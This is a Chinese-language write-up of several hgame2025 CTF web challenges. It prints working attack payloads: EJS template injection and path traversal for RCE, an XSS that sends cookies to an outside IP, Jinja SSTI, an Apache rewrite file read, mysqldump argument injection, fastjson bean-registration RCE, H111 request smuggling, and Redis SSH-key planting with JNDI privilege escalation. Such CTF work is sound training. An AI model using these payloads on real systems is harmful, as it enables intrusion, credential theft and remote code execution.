hgame2025

看到大家都做了,来打着玩

Level 24 Pacman

1

1

我找了有一会儿,不好找

Level 47 BandBomb

稍微改改,自己起本地测试一下

1
2
npm init -y
npm install express multer ejs

然后目录结构是这样子

1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
// app.js
const express = require('express');
const multer = require('multer');
const fs = require('fs');
const path = require('path');
const port = 3000;
const app = express();

app.set('view engine', 'ejs');

app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(express.json());

const storage = multer.diskStorage({
destination: (req, file, cb) => {
const uploadDir = 'uploads';
if (!fs.existsSync(uploadDir)) {
fs.mkdirSync(uploadDir);
}
cb(null, uploadDir);
},
filename: (req, file, cb) => {
cb(null, file.originalname);
}
});

const upload = multer({
storage: storage,
fileFilter: (_, file, cb) => {
try {
if (!file.originalname) {
return cb(new Error('无效的文件名'), false);
}
cb(null, true);
} catch (err) {
cb(new Error('文件处理错误'), false);
}
}
});

app.get('/', (req, res) => {
const uploadsDir = path.join(__dirname, 'uploads');

if (!fs.existsSync(uploadsDir)) {
fs.mkdirSync(uploadsDir);
}

fs.readdir(uploadsDir, (err, files) => {
if (err) {
return res.status(500).render('mortis', { files: [] });
}
res.render('mortis', { files: files });
});
});

app.post('/upload', (req, res) => {
upload.single('file')(req, res, (err) => {
if (err) {
return res.status(400).json({ error: err.message });
}
if (!req.file) {
return res.status(400).json({ error: '没有选择文件' });
}
res.json({
message: '文件上传成功',
filename: req.file.filename
});
});
});

app.post('/rename', (req, res) => {
const { oldName, newName } = req.body;
const oldPath = path.join(__dirname, 'uploads', oldName);
const newPath = path.join(__dirname, 'uploads', newName);

if (!oldName || !newName) {
return res.status(400).json({ error: ' ' });
}

fs.rename(oldPath, newPath, (err) => {
if (err) {
return res.status(500).json({ error: ' ' + err.message });
}
res.json({ message: ' ' });
});
});

app.listen(port, () => {
console.log(`服务器运行在 http://localhost:${port}`);
});
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// mortis.ejs
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>文件上传</title>
</head>
<body>
<h1>上传文件</h1>
<form action="/upload" method="post" enctype="multipart/form-data">
<input type="file" name="file" required>
<button type="submit">上传</button>
</form>

<h2>已上传的文件</h2>
<ul>
<% files.forEach(file => { %>
<li><%= file %></li>
<% }); %>
</ul>
</body>
</html>

然后上传文件发现确实是创建了目录并且上传成功了,但是就是访问不到,重命名确实可以但是也没啥感觉

1
2
3
4
{
"oldName": "1.txt",
"newName": "3.txt"
}

回头好好看了看代码,感觉可以目录穿越把flag打印出来,测试一下,发现不成功,访问不了文件,并且不是热加载,看到ejs是模版引擎,可以进行模版注入,找篇文章复现一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// app.js
const express = require('express');
const path = require('path');

const app = express();

app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');

app.get('/', (req, res) => {
res.render('index',req.query);
});

const PORT = process.env.PORT || 3000;
app.listen(PORT, () => {
console.log(`Server is running on http://localhost:${PORT}`);
});
1
2
3
4
5
6
7
8
9
10
11
// index.ejs
<html>
<head>
<title>Lab CVE-2022-29078</title>
</head>

<body>
<h2>CVE-2022-29078</h2>
<%= test %>
</body>
</html>

1

1

那现在就是只要把文件覆盖了就可以RCE了,我们知道文件为/views/mortis.ejs,我一直改包,发现上传文件哪里是自动锁定了在uploads/,终于发现在改名可以实现目录穿越

1
2
3
4
{
"oldName": "3.ejs",
"newName": "../views/mortis.ejs"
}

1

成功覆盖了,但是这个文件上传上去会发现不能成功RCE

1
<% global.process.mainModule.require('child_process').execSync('dir > ./public/test').toString() %>

访问/static/test

Level 69 MysteryMessageBoard

先是弱密码

1
shallot\888888

一眼xss,

1
2
3
<script>alert(1)</script>

<script>fetch('http://156.238.233.9:9999/?a'+document.cookie)</script>

然后访问/admin,再回来刷新就可以拿到,但是很难拿到,经常X到自己,然后访问/flag,所以换种方法

1
2
3
4
5
6
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://127.0.0.1:8888/", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("comment="%2bdocument.cookie);
</script>

但是也很难拿到,稍微改了一下发包格式就不行,而且还会有靶机重置,服了

Level 38475 角落

一点源码都没有,扫描看看有没有东西存在

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Include by httpd.conf
<Directory "/usr/local/apache2/app">
Options Indexes
AllowOverride None
Require all granted
</Directory>

<Files "/usr/local/apache2/app/app.py">
Order Allow,Deny
Deny from all
</Files>

RewriteEngine On
RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/"
RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo"

ProxyPass "/app/" "http://127.0.0.1:5000/"

可以知道是阿帕奇,并且重写规则,带UA头可以进行任意文件读取,查找一下看看能不能把源码泄露了

1

继续去找文档发现版本CVE

1

1
curl -X GET "http://node2.hgame.vidar.club:31443/admin/usr/local/apache2/app/app.py%3f" -H "User-Agent: L1nk/"

带个?就可以正确读取到了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from flask import Flask, request, render_template, render_template_string, redirect
import os
import templates

app = Flask(__name__)
pwd = os.path.dirname(__file__)
show_msg = templates.show_msg


def readmsg():
filename = pwd + "/tmp/message.txt"
if os.path.exists(filename):
f = open(filename, 'r')
message = f.read()
f.close()
return message
else:
return 'No message now.'


@app.route('/index', methods=['GET'])
def index():
status = request.args.get('status')
if status is None:
status = ''
return render_template("index.html", status=status)


@app.route('/send', methods=['POST'])
def write_message():
filename = pwd + "/tmp/message.txt"
message = request.form['message']

f = open(filename, 'w')
f.write(message)
f.close()

return redirect('index?status=Send successfully!!')

@app.route('/read', methods=['GET'])
def read_message():
if "{" not in readmsg():
show = show_msg.replace("{{message}}", readmsg())
return render_template_string(show)
return 'waf!!'


if __name__ == '__main__':
app.run(host = '0.0.0.0', port = 5000)

/read路由进行模版渲染,/send写入文件,然后主页面也要访问,不过这里检验了{,条件竞争解决这个问题,只要一瞬间没有检验到我们的{即可,所以在/send这里我们写两个包,/read这里写一个包

1

1

1

1

概率还是很高的

1
{{cycler.__init__.__globals__.__builtins__['__import__']('os').popen('cat /f*').read()}}

Level 25 双面人派对

开局给了一个RE的附件,不做了,推荐看infernity的博客,我觉得他应该会更新的,我友链里面(webking)

Level 21096 HoneyPot

先链接数据库,看到要RCE,writeflag来得到flag,想加表,结果失败了,不让加,那么漏洞位置就只有导入数据了,搜索func,看到可疑函数ImportData,其中有命令执行的部分,关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
func ImportData(c *gin.Context) {
var config ImportConfig
if err := c.ShouldBindJSON(&config); err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"success": false,
"message": "Invalid request body: " + err.Error(),
})
return
}

if err := validateImportConfig(config); err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"success": false,
"message": "Invalid input: " + err.Error(),
})
return
}

logParams := map[string]string{
"RemoteHost": config.RemoteHost,
"RemoteUsername": config.RemoteUsername,
"RemoteDatabase": config.RemoteDatabase,
"LocalDatabase": config.LocalDatabase,
"Timestamp": time.Now().Format("2006-01-02 15:04:05"),
}

logBytes, _ := json.MarshalIndent(logParams, "", " ")
fmt.Printf("Import Parameters:\n%s\n", string(logBytes))

config.RemoteHost = sanitizeInput(config.RemoteHost)
config.RemoteUsername = sanitizeInput(config.RemoteUsername)
config.RemoteDatabase = sanitizeInput(config.RemoteDatabase)
config.LocalDatabase = sanitizeInput(config.LocalDatabase)
config.RemotePassword = sanitizeInput(config.RemotePassword)
// Connect Database
if manager.db == nil {
dsn := buildDSN(localConfig)
db, err := sql.Open("mysql", dsn)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to connect to local database: " + err.Error(),
})
return
}

if err := db.Ping(); err != nil {
db.Close()
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to ping local database: " + err.Error(),
})
return
}

manager.db = db
}

if err := createdb(config.LocalDatabase); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to create local database: " + err.Error(),
})
return
}

// 创建以时间戳命名的目录
timestamp := time.Now().Format("20060102_150405")
backupDir := filepath.Join("backups", timestamp)
if err := os.MkdirAll(backupDir, 0755); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to create backup directory: " + err.Error(),
})
return
}

// 创建SQL文件
sqlFileName := fmt.Sprintf("%s_%s.sql", config.RemoteDatabase, timestamp)
sqlFilePath := filepath.Join(backupDir, sqlFileName)
sqlFile, err := os.Create(sqlFilePath)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to create SQL file: " + err.Error(),
})
return
}
defer sqlFile.Close()

// 创建参数日志文件
logFileName := fmt.Sprintf("%s_%s_params.json", config.RemoteDatabase, timestamp)
logFilePath := filepath.Join(backupDir, logFileName)
if err := os.WriteFile(logFilePath, logBytes, 0644); err != nil {
fmt.Printf("Warning: Failed to save parameters log: %v\n", err)
}

dumpCmd := exec.Command("mysqldump",
"-h", config.RemoteHost,
"-u", config.RemoteUsername,
"-p"+config.RemotePassword,
config.RemoteDatabase)

tmpfile, err := os.CreateTemp("", "mysqldump-*.sql")
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to create temporary file: " + err.Error(),
})
return
}
defer os.Remove(tmpfile.Name())
defer tmpfile.Close()

writer := io.MultiWriter(sqlFile, tmpfile)
dumpCmd.Stdout = writer
dumpCmd.Stderr = os.Stderr

if err := dumpCmd.Run(); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to export database: " + err.Error(),
})
return
}

tmpfile.Sync()
tmpfile.Seek(0, 0)

importCmd := exec.Command("mysql",
"-h", "127.0.0.1",
"-u", localConfig.Username,
"-p"+localConfig.Password,
config.LocalDatabase)

importCmd.Stdin = tmpfile
importCmd.Stderr = os.Stderr

if err := importCmd.Run(); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to import data: " + err.Error(),
})
return
}

c.JSON(http.StatusOK, gin.H{
"success": true,
"message": fmt.Sprintf("Data imported successfully. SQL file saved at: %s", sqlFilePath),
})
}

1

利用exec.Command进行命令执行,那我们把参数拼接到里面就可以了,不需要远程加载

1
2
3
4
5
6
7
8
9
10
11
12
POST /api/import HTTP/1.1
Host: node1.hgame.vidar.club:30840
Origin: http://node1.hgame.vidar.club:30840
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Referer: http://node1.hgame.vidar.club:30840/
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Content-Length: 147

{"remote_host":"127.0.0.1","remote_port":"3306","remote_username":"test","remote_password":";/writeflag;#","remote_database":"test","local_database":"test"}

访问/flag

Level 21096 HoneyPot_Revenge

CVE-2024-21096 mysqldump命令注⼊,回头有空再打

Level 60 SignInJava

找到路由/api/gateway并且发现beanName过滤了flag

1

关键代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
package icu.Liki4.signin.util;

import com.alibaba.fastjson2.JSON;
import com.alibaba.fastjson2.JSONException;
import com.alibaba.fastjson2.JSONReader;
import com.alibaba.fastjson2.filter.Filter;
import java.lang.reflect.Method;
import java.util.Arrays;
import java.util.Date;
import java.util.List;
import java.util.Map;
import java.util.Objects;
import java.util.Set;
import java.util.stream.Collectors;
import org.springframework.context.annotation.Lazy;

/* loaded from: SigninJava.jar:BOOT-INF/classes/icu/Liki4/signin/util/InvokeUtils.class */
public class InvokeUtils {

@Lazy
private static final Filter autoTypeFilter = JSONReader.autoTypeFilter((String[]) ((Set) Arrays.stream(SpringContextHolder.getApplicationContext().getBeanDefinitionNames()).map(name -> {
int secondDotIndex = name.indexOf(46, name.indexOf(46) + 1);
if (secondDotIndex != -1) {
return name.substring(0, secondDotIndex + 1);
}
return null;
}).filter((v0) -> {
return Objects.nonNull(v0);
}).collect(Collectors.toSet())).toArray(new String[0]));

public static Object invokeBeanMethod(String beanName, String methodName, Map<String, Object> params) throws Exception {
Object beanObject = SpringContextHolder.getBean(beanName);
Method beanMethod = (Method) Arrays.stream(beanObject.getClass().getMethods()).filter(method -> {
return method.getName().equals(methodName);
}).findFirst().orElse(null);
if (beanMethod.getParameterCount() == 0) {
return beanMethod.invoke(beanObject, new Object[0]);
}
String[] parameterTypes = new String[beanMethod.getParameterCount()];
Object[] parameterArgs = new Object[beanMethod.getParameterCount()];
for (int i = 0; i < beanMethod.getParameters().length; i++) {
Class<?> parameterType = beanMethod.getParameterTypes()[i];
String parameterName = beanMethod.getParameters()[i].getName();
parameterTypes[i] = parameterType.getName();
if (!parameterType.isPrimitive() && !Date.class.equals(parameterType) && !Long.class.equals(parameterType) && !Integer.class.equals(parameterType) && !Boolean.class.equals(parameterType) && !Double.class.equals(parameterType) && !Float.class.equals(parameterType) && !Short.class.equals(parameterType) && !Byte.class.equals(parameterType) && !Character.class.equals(parameterType) && !String.class.equals(parameterType) && !List.class.equals(parameterType) && !Set.class.equals(parameterType) && !Map.class.equals(parameterType)) {
if (params.containsKey(parameterName)) {
parameterArgs[i] = JSON.parseObject(JSON.toJSONString(params.get(parameterName)), (Class) parameterType, autoTypeFilter, new JSONReader.Feature[0]);
} else {
try {
parameterArgs[i] = JSON.parseObject(JSON.toJSONString(params), (Class) parameterType, autoTypeFilter, new JSONReader.Feature[0]);
} catch (JSONException e) {
for (Map.Entry<String, Object> entry : params.entrySet()) {
Object value = entry.getValue();
if ((value instanceof String) && ((String) value).contains("\"")) {
params.put(entry.getKey(), JSON.parse((String) value));
}
}
parameterArgs[i] = JSON.parseObject(JSON.toJSONString(params), (Class) parameterType, autoTypeFilter, new JSONReader.Feature[0]);
}
}
} else {
parameterArgs[i] = params.getOrDefault(parameterName, null);
}
}
return beanMethod.invoke(beanObject, parameterArgs);
}
}

invokeBeanMethod方法可以通过invoke来调用beanName 对应的 Spring Bean,先注册一个 RuntimeUtil Bean,利用 hutoolRuntimeUtil 类执行命令(RCE)。通过反射,攻击者可以调用 SpringUtilregisterBean 方法,将 RuntimeUtil 注册到 Spring 容器中,就可以调用execForStr来进行RCE了

1
2
3
4
5
6
7
8
9
10
11
12
POST /api/gateway HTTP/1.1
Host: node1.hgame.vidar.club:32393
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Pragma: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Cache-Control: no-cache
Content-Type: application/json

{"beanName":"cn.hutool.extra.spring.SpringUtil","methodName":"registerBean","params":{"arg0":"execCmd","arg1":{"@type":"cn.hutool.core.util.RuntimeUtil"}}}
1
2
3
4
5
6
7
8
9
10
11
12
POST /api/gateway HTTP/1.1
Host: node1.hgame.vidar.club:32393
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Pragma: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Cache-Control: no-cache
Content-Type: application/json

{"beanName":"execCmd","methodName":"execForStr","params":{"arg0":"utf-8","arg1":["/readflag"]}}

题目好像是不出网的,弹不成功

Level 111 不存在的车厢

1
2
3
4
5
6
7
8
9
10
11
12
listener, err := net.Listen("tcp", "127.0.0.1:8080")
if err != nil {
log.Fatalln(err)
}
for {
conn, err := listener.Accept()
if err != nil {
log.Println(err)
continue
}
go serverH111(conn)
}

这里进行了链接的复用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
func WriteH111Request(writer io.Writer, req *http.Request) error {
methodBytes := []byte(req.Method)
if err := binary.Write(writer, binary.BigEndian, uint16(len(methodBytes))); err != nil {
return errors.Join(ErrWriteH111Request, err)
}
if _, err := writer.Write(methodBytes); err != nil {
return errors.Join(ErrWriteH111Request, err)
}

pathBytes := []byte(req.RequestURI)
if err := binary.Write(writer, binary.BigEndian, uint16(len(pathBytes))); err != nil {
return errors.Join(ErrWriteH111Request, err)
}
if _, err := writer.Write(pathBytes); err != nil {
return errors.Join(ErrWriteH111Request, err)
}

headerCount := uint16(len(req.Header))
if err := binary.Write(writer, binary.BigEndian, headerCount); err != nil {
return errors.Join(ErrWriteH111Request, err)
}

for key, values := range req.Header {
keyBytes := []byte(key)
if err := binary.Write(writer, binary.BigEndian, uint16(len(keyBytes))); err != nil {
return errors.Join(ErrWriteH111Request, err)
}
if _, err := writer.Write(keyBytes); err != nil {
return errors.Join(ErrWriteH111Request, err)
}

for _, value := range values {
valueBytes := []byte(value)
if err := binary.Write(writer, binary.BigEndian, uint16(len(valueBytes))); err != nil {
return errors.Join(ErrWriteH111Request, err)
}
if _, err := writer.Write(valueBytes); err != nil {
return errors.Join(ErrWriteH111Request, err)
}
}
}

if req.Body != nil {
body, err := io.ReadAll(req.Body)
if err != nil {
return errors.Join(ErrWriteH111Request, err)
}
if err := binary.Write(writer, binary.BigEndian, uint16(len(body))); err != nil {
return errors.Join(ErrWriteH111Request, err)
}
if _, err := writer.Write(body); err != nil {
return errors.Join(ErrWriteH111Request, err)
}
} else {
if err := binary.Write(writer, binary.BigEndian, uint16(0)); err != nil {
return errors.Join(ErrWriteH111Request, err)
}
}

return nil
}

这里对长度进行了计算和写入,也就是说可能溢出,引用出题人的话

研究H111协议序列化代码的时候可以发现,H111协议满⾜⼀个 Len+Data 的格式,同时所有的 Length字段都是uint16并且没有任何溢出检查,所以当⼀个⼤于uint16最⼤值的Length被序列化时会 产⽣整数溢出,改变序列化后的语义。 当 Len 为 65536 的时候,会溢出为0,此时读取⻓度为0的Data,后⾯这段数据会被搁置。 随后,我们观察到,H111协议存在 pipeline 以及连接复⽤,我们前⾯搁置的部分数据会被按照第⼆个 请求解析并响应,在外部第⼆个请求打到 proxy 的时候,有⼀定概率复⽤同个连接并⾛私出这⼀部分 response

也就是说打这个溢出,我们就可能走私到数据,写一个程序,看看溢出的极限是多少

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package protocol

import (
"bytes"
"encoding/hex"
"testing"
"net/http"
)

func TestGenRequest(t *testing.T) {
var buf bytes.Buffer
err := WriteH111Request(&buf, &http.Request{
Method: "POST",
RequestURI: "/flag",
})
if err != nil {
t.Fatalf("expected no error, got %v", err)
}
t.Log(len(buf.Bytes()))
t.Log(hex.EncodeToString(buf.Bytes()))
}

然后运行go test -v,这个命令是寻找所有_test.go并且运行Test开头的函数

1

转化为十进制然后补零补到65536

1
2
3
4
GET / HTTP/1.1
Host: node1.hgame.vidar.club:30328

{{hexdec(0004504f535400052f666c616700000000)}}{{padding:zero(0|65519)}}

多发几次包访问/flag即可,本来打算高并发了,结果一看成功了,就发了几次包

Level 257 日落的紫罗兰

给了个TCP,又没有东西,所以选择扫描一下,结果没有扫出来,直接nc发现一个是ssh一个是Redis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@dkcjbRCL8kgaNGz:~# nc node1.hgame.vidar.club 32204
SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3

Invalid SSH identification string.

root@dkcjbRCL8kgaNGz:~# nc node1.hgame.vidar.club 32010



s
-ERR unknown command `s`, with args beginning with:
ls
-ERR unknown command `ls`, with args beginning with:
pwd
-ERR unknown command `pwd`, with args beginning with:

题目给了一个user.txt,Redis可以用来写入sshKey,ssh就可控了,再上传ldap来进行java提权,先处理Redis的部分,其中应该是进行了遍历得知mysid是用户名

1
2
3
4
5
6
7
8
9
10
ssh-keygen -t rsa
cd root/.ssh
(echo -e “\n\n”; cat ./id_rsa.pub; echo -e “\n\n”) > spaced_key.txt

cat spaced_key.txt | redis-cli -h node1.hgame.vidar.club -p 32010 -x set ssh_key
redis-cli -h node1.hgame.vidar.club -p 32010
config set dir /home/mysid/.ssh
config set dbfilename "authorized_keys"
save
exit

然后连ssh再来提权

1
2
3
4
5
6
7
8
9
ssh -i id_rsa mysid@node1.hgame.vidar.club -p 32204
scp -i /root/.ssh/id_rsa -P 32204 ./JNDIMap-0.0.1.jar mysid@node1.hgame.vidar.club:/tmp

/usr/local/openjdk-8/bin/java -jar /tmp/JNDIMap-0.0.1.jar -i 127.0.0.1 -l 389 -u "/Deserialize/Jackson/Command/Y2htb2QgNzc3IC9mbGFn"

# 再开一个终端链接
ssh -i id_rsa mysid@node1.hgame.vidar.club -p 32204
curl -X POST -d "baseDN=a/b&filter=a" http://127.0.0.1:8080/search
cat /flag